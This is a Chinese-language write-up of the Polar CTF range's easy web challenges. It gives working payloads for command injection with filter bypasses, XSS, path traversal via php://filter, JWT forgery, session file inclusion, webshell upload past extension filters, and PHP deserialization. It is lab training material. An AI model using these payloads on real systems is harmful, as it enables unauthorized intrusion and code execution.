【Web】记录Polar靶场<简单>难度题一遍过(全)
目录
swp
简单rce
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Don't touch me
robots
php very nice
ezupload
upload
干正则
cool
uploader
覆盖
PHP反序列化初试
机器人
明天XYCTF开始,今天干啥也不是,过过签到八股吧。
swp

随手试试,直接访问到/.index.php.swp
最大回溯上限绕过preg_match
import requestsurl = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb'+'very' * 250000
}r = requests.post(url=url, data=data).text
print(r)
运行脚本拿到flag

简单rce

过滤了空格,可以联想到用include直接包含/flag
蜜雪冰城吉警店

8个奶茶,要找第9个
js有点难审&调试比较牛马,下断一直不中,直接结果论吧,改id为9

改前端,点单成功

召唤神龙
进来是一个js小游戏,但没有胜利条件啥的,js关键词搜不出什么头绪
在main.js中看到一段很刺眼的jsfuck

JSFuck 是一种 JavaScript 的混淆技术,它可以将 JavaScript 代码转换成仅由六个字符组成的代码,即
[]()!+。这种技术基于 JavaScript 语言的强大特性,尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。
CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法
成功解码拿到flag

seek flag
访问/robots.txt拿到第三段flag

抓包,在响应头处拿到flag2

注意到响应头setcookie,让id=0
本着叛逆的原则,我们可以修改cookie让id为1,成功拿到flag1

jwt

这个一眼垂直越权啊,先注册一个普通用户,然后jwt伪造成功以admin登录

JSON Web Tokens - jwt.io
jwt-cracker爆破出密钥为SYSA

然后jwt伪造
改cookie中的jwt,然后再次访问
进入个人中心,拿到flag

login
f12看到注释,知道学号密码都是20200101

然而只是回显登录成功

爆破后发现就是学号02-11的登录回显,进行拼凑得到flag{dlcg}
iphone

随便点下Enter
右键查看源码,提示改UA

改UA为iphone即可拿到flag

浮生日记

title提示让我们弹个窗
测过无ssti,结合题目名字,合理可以想到js注入
发现替换了script为空,然后赋值给value

显然可以先闭合value,然后独立出一个script执行恶意代码
payload:
"><scrscriptipt>alert(1)</scrscriptipt>

点击确定后拿到flag
$$

直接$GLOBALS读全局变量就可
payload:
?c=GLOBALS

爆破

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。
这个肯定不是啥php特性了,只能如题所说,爆破!
2位就能爆出来
XFF

直接xff伪造ip即可
rce1

过滤空格用${IFS}绕过即可
;tac${IFS}fllllaaag.php
右键查看源码,拿到flag

GET-POST

正常传参就行
被黑掉的站

提示站里还有马
扫出来index.php.bak和shell.php
访问index.php.bak,就是给到一个字典
访问shell.php,显然就是拿字典爆破

开爆就完了
拿到flag

签到题

承认是个弟弟,但setcookie初始值为no

改didi=yes,发包

base64解码
访问/data/index.php

替换为空双写绕过即可
payload:
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
base64解码即可

签到

把disabled删掉就可
弹窗
但提交后还是不行,继续看前端
把maxlength改大即可
如下
session文件包含

发包,看到响应头给了一个PHPSESSID
点击mydirectory,回显如下

右键查看源码:

似乎可以任意文件包含,尝试读文件
base64解码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
session_start()一般是给session反序列化用的,这题考的不是反序列化
可以直接利用恶意session文件包含

笑死,直接读环境变量的flag是假的,只能读文件

Don't touch me
右键查看源码

访问/2.php
把bottom的disabled属性给删掉,点击后跳转/3.php
右键查看源码

访问/fla.php拿到flag

robots

访问/robots.txt
访问/fl0g.php拿到flag

php very nice

这不直接喂到嘴边了
$a=new Example();
$a->sys="system('tac f*');";
echo serialize($a);

ezupload

改mime type为image/gif即可

连蚁剑,拿flag
cookie欺骗

cookie改user=admin即可
upload

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析
回到初始界面,右键查看源码

访问?action=show_code拿到源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
替换为空,直接双写绕过即可

可以看到成功上传php文件

连蚁剑,拿flag
干正则

🤔一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过
无回显的shell_exec也直接echo了
payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*

cool

系统命令执行函数没ban干净只能说
payload:
?a=passthru('cat f*');

uploader

这不就纯纯的无过滤文件上传,还回显路径
用py写个文件上传脚本
import requestsurl = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/' # 替换成你的服务器地址files = {'file': open('D:\CTF\码\yjh3.php', 'rb')} # 将文件名替换为你想上传的文件response = requests.post(url, files=files)if response.status_code == 200:print("文件上传成功!")print("服务器返回的消息:", response.text)
else:print("文件上传失败!")print("错误码:", response.status_code)

拿到$sandbox和filename,拼接得到文件路径
http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php
连蚁剑,拿flag

覆盖

和之前哪题好像一样的,不解释了

payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试

一眼出链子
Easy.__wakeup -> Evil.__toString
注意这里的shell_exec也是echo给了回显
exp:
<?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);?>

机器人

访问/robots.txt
访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录,所以猜测敏感文件在这个目录下)

拼接拿到flag
快速打完,睡觉💤
相关文章:
【Web】记录Polar靶场<简单>难度题一遍过(全)
目录 swp 简单rce 蜜雪冰城吉警店 召唤神龙 seek flag jwt login iphone 浮生日记 $$ 爆破 XFF rce1 GET-POST 被黑掉的站 签到题 签到 session文件包含 Dont touch me robots php very nice ezupload cookie欺骗 upload 干正则 co…...
生产制造园区数字孪生3D大屏展示提升运营效益
在智慧园区的建设中,3D可视化管理平台成为必不可少的工具,数字孪生公司深圳华锐视点打造的智慧园区3D可视化综合管理平台,致力于将园区的人口、经济、应急服务等各项业务进行3D数字化、网络化处理,从而实现决策支持的优化和管理的…...
R语言技能 | 不同数据类型的转换
原文链接:R语言技能 | 不同数据类型的转换 本期教程 写在前面 今天是4月份的第一天,再过2天后再一次迎来清明小假期。木鸡大家是否正常放假呢? 我们在使用R语言做数据分析时,会一直对数据进行不同类型的转换,有时候…...
python如何处理文本错误
在python中,如果读取的文本文件不在程序的目录中,会提示FileNotFoundError 如果不能确定文本文件是否在目录中,可以用try except语句 代码如下 from pathlib import PathpathPath(alice.txt) try:contentspath.read_text(encodingutf_8) e…...
Cesium 批量种树
1、准备树种建模 分各种级别建模LOD1-LODN 其中meta.json长这样: Gltf再3Dmax中导出Obj,再通过ObjToGltf的工具转换,参考 https://editor.csdn.net/md/?articleId96484597 2、准备shp点数据。(shp中的点位就是种树的位置) 3、准…...
Docker基础系列之TLS和CA认证
Docker基础系列之TLS和CA认证 文章目录 Docker基础系列之TLS和CA认证1. 引言2. 初识TLS和CA3. 开启TLS和CA认证3.1 生成证书3.2 配置TLS 4. 参考和感谢 1. 引言 我们日常工作当中会遇到这些需求: 监控Docker容器在idea开发工具中连接Docker,直接发布至…...
总结:微信小程序中跨组件的通信、状态管理的方案
在微信小程序中实现跨组件通信和状态管理,有以下几种主要方案: 事件机制 通过事件机制可以实现父子组件、兄弟组件的通信。 示例: 父组件向子组件传递数据: 父组件: <child binddata"handleChildData" /> 子组件: Component({..., methods: { handleChildData(…...
企业能耗数据分析有哪些优势?怎样进行分析?
随着互联网技术的发展,企业在运营中会出现大量的用能数据,但却做不了精准的用能数据分析,导致数据没有得到有效利用,以及产生能源浪费现象。 为什么企业用能分析总是难? 一、用能分析过程复杂 由于用能分析过于复杂…...
containerd配置HTTP私仓
文章目录 1. 🛠️ 基础环境配置2. 🐳 Docker安装3. 🚢 部署Harbor,HTTP访问4. 📦 部署ContainerD5. 🔄 修改docker配置文件,向harbor中推入镜像6. 配置containerd6.1. 拉取镜像验证6.2. 推送镜像…...
掌握Go语言:Go语言类型转换,无缝处理数据类型、接口和自定义类型的转换细节解析(29)
在Go语言中,类型转换指的是将一个数据类型的值转换为另一个数据类型的过程。Go语言中的类型转换通常用于将一种数据类型转换为另一种数据类型,以满足特定操作或需求。 类型转换的基本语法 在Go语言中,类型转换的基本语法为: ne…...
Chatgpt掘金之旅—有爱AI商业实战篇|文案写作|(三)
演示站点: https://ai.uaai.cn 对话模块 官方论坛: www.jingyuai.com 京娱AI 一、前言 人工智能(AI)技术作为当今科技创新的前沿领域,为创业者提供了广阔的机会和挑战。随着AI技术的快速发展和应用领域的不断拓展&…...
c++20 的部分新概念及示例代码-Contracts,Ranges
C20 引入了 contracts(契约),这是一种编程范式,它允许程序员在代码中添加先决条件(preconditions)、后置条件(postconditions)和断言(assertions)等契约&…...
pytorch剪枝
原文:https://blog.51cto.com/u_16213398/10059574 Pytorch剪枝实现指南 指南概述 在这篇文章中,我将向你介绍如何在PyTorch中实现模型剪枝。剪枝是一种优化模型的技术,可以帮助减少模型的大小和计算量,同时保持模型的准确性。…...
马斯克旗下xAI发布Grok-1.5,相比较开源的Grok-1,各项性能大幅提升,接近GPT-4!
本文原文来自DataLearnerAI官方网站:马斯克旗下xAI发布Grok-1.5,相比较开源的Grok-1,各项性能大幅提升,接近GPT-4! | 数据学习者官方网站(Datalearner) 继Grok-1开源之后,xAI宣布了Grok-1.5的内测消息&…...
数据结构与算法 顺序串的基本运算
一、实验内容 编写一个程序sqstring.cpp,实现顺序串的各种基本运算,并在此基础上实现一个程序exp7.cpp,完成以下功能: (1)建立串s“abcdefghefghijklmn”和串s1“xyz” (2)输出串…...
2024年04月数据库流行度最新排名
点击查看最新数据库流行度最新排名(每月更新) 2024年04月数据库流行度最新排名 TOP DB顶级数据库索引是通过分析在谷歌上搜索数据库名称的频率来创建的 一个数据库被搜索的次数越多,这个数据库就被认为越受欢迎。这是一个领先指标。原始数…...
golang语言系列:SOLID、YAGNI、KISS等设计原则
云原生学习路线导航页(持续更新中) 本文是 golang语言系列 文章,主要对编程通用技能 SOLID、YAGNI、KISS等设计原则 进行学习 1.SOLID设计原则 S:SRP,单一职责原则O:OCP,开闭原则L:…...
Meta Pixel:助你实现高效地Facebook广告追踪
Meta Pixel 像素代码是用來衡量Facebook广告效果的一个官方数据工具,只要商家有在Facebook上投放广告就需要串联Meta Pixel 像素代码来查看相关数据。 它本质上是一段 JavaScript 代码,安装后可以让用户在自己网站上查看到访客活动。它的工作原理是加载…...
基于Arduino IDE 野火ESP8266模块 文件系统LittleFS 的开发
一、文件系统LittleFS的介绍 LittleFS是一个为微控制器设计的轻量级、可靠且高性能的文件系统。它专为嵌入式设备打造,拥有占用空间小、对硬件要求低的特点,同时保证在断电情况下数据的完整性和稳定性。 1.设计与特点 LittleFS的设计旨在提供嵌入式系统所…...
通讯录改造———文件版本
上一篇文章我们详细讲了文件操作,这时候我们就可以把通讯录保存到文件中,这样即使程序退出了,联系人的信息也还是保存着,下一次启动程序时我们就可以把文件中的数据读取到程序中来使用。 保存 首先我们要在退出通讯录之前把联系人…...
MATLAB GUI界面设计与图像处理的奇妙融合
MATLAB gui界面设计 MATLAB图像处理 gui界面开发 傅立叶变换,灰度图,二值化,直方图均衡,高通滤波器,低通滤波器,巴特沃斯滤波器,噪声处理,边缘检测在图像处理的领域中,MA…...
Vue项目PC端自适应终极方案:px2rem-loader+postcss-px2rem保姆级教程
Vue项目PC端自适应终极方案:px2rem-loaderpostcss-px2rem保姆级教程 在当今多设备、多分辨率的互联网环境下,前端开发者面临的最大挑战之一就是如何确保网站在不同尺寸的屏幕上都能完美呈现。特别是对于企业级Vue项目,PC端的自适应需求往往比…...
四元数与Plücker坐标的奇妙结合:理解直线在3D空间中的表示与计算
四元数与Plcker坐标的奇妙结合:理解直线在3D空间中的表示与计算 在计算机图形学和机器人学中,准确表示和计算3D空间中的直线是一个基础而关键的问题。传统的向量表示法虽然直观,但在处理直线间的相对位置关系、距离计算等复杂几何问题时往往显…...
Win10计划任务结合PowerShell实现自动化音乐播放
1. 为什么需要自动化音乐播放? 每天早上被闹钟粗暴地惊醒,是不是让你一整天都心情烦躁?我试过用手机播放轻柔的音乐作为起床铃,但经常遇到忘记设置播放列表或者音量不合适的问题。后来发现用Win10的计划任务配合PowerShell脚本&am…...
【Java代码审计实战】OFCMS 1.1.3漏洞挖掘与复现指南
1. OFCMS 1.1.3环境搭建实战 搞Java代码审计的第一步永远是搭建测试环境。我花了三天时间折腾OFCMS 1.1.3的环境搭建,踩过的坑比想象中多得多。这个CMS的自动安装功能基本就是个摆设,最后还是得靠手动部署。下面把我验证过的完整流程分享给大家ÿ…...
用Python爬懂车帝数据,我发现了2024年买车避坑的3个关键点(附完整代码)
用Python解码2024购车密码:从数据中挖出的3个避坑真相 最近帮朋友选车时,我突发奇想——为什么不直接用技术手段看看市场真实情况?于是花了两个周末,用Python爬取了懂车帝的销售数据。当那些图表和数字跳出来时,我才发…...
Vue 3项目里用pdfjs-dist处理超大PDF,我是这样优化首屏加载和滚动体验的
Vue 3项目中pdfjs-dist处理超大PDF的性能优化实战 最近在开发一个企业级文档管理系统时,遇到了一个棘手的问题:用户需要在线预览上百页的技术手册,这些PDF文件体积常常超过100MB。传统的PDF预览方案要么加载缓慢导致用户流失,要么…...
Aspose.Cells实战:Java后端高效实现Excel到PDF的无损转换与在线预览
1. 为什么选择Aspose.Cells处理Excel转PDF? 在企业级应用开发中,经常遇到需要将Excel文档转换为PDF格式的需求。比如财务系统生成的报表、数据分析结果、项目进度表等,都需要以PDF形式分享或存档。这时候,一个稳定高效的转换工具就…...
OFA-VE部署案例:国产化信创环境(麒麟OS+昇腾)适配可行性简析
OFA-VE部署案例:国产化信创环境(麒麟OS昇腾)适配可行性简析 1. 什么是OFA-VE:不只是视觉推理,更是一套可落地的智能分析能力 OFA-VE不是一款“玩具级”演示系统,而是一个具备工程交付潜力的视觉蕴含&…...
书匠策AI:论文数据分析的“超级外挂”,开启科研新纪元
在学术探索的漫漫征途中,论文写作宛如一场充满挑战的冒险。而数据分析,作为这场冒险中的关键关卡,常常让众多学者和学生望而却步。繁杂的数据、晦涩的统计方法,仿佛一道道难以跨越的沟壑。不过别担心,今天我要给大家介…...
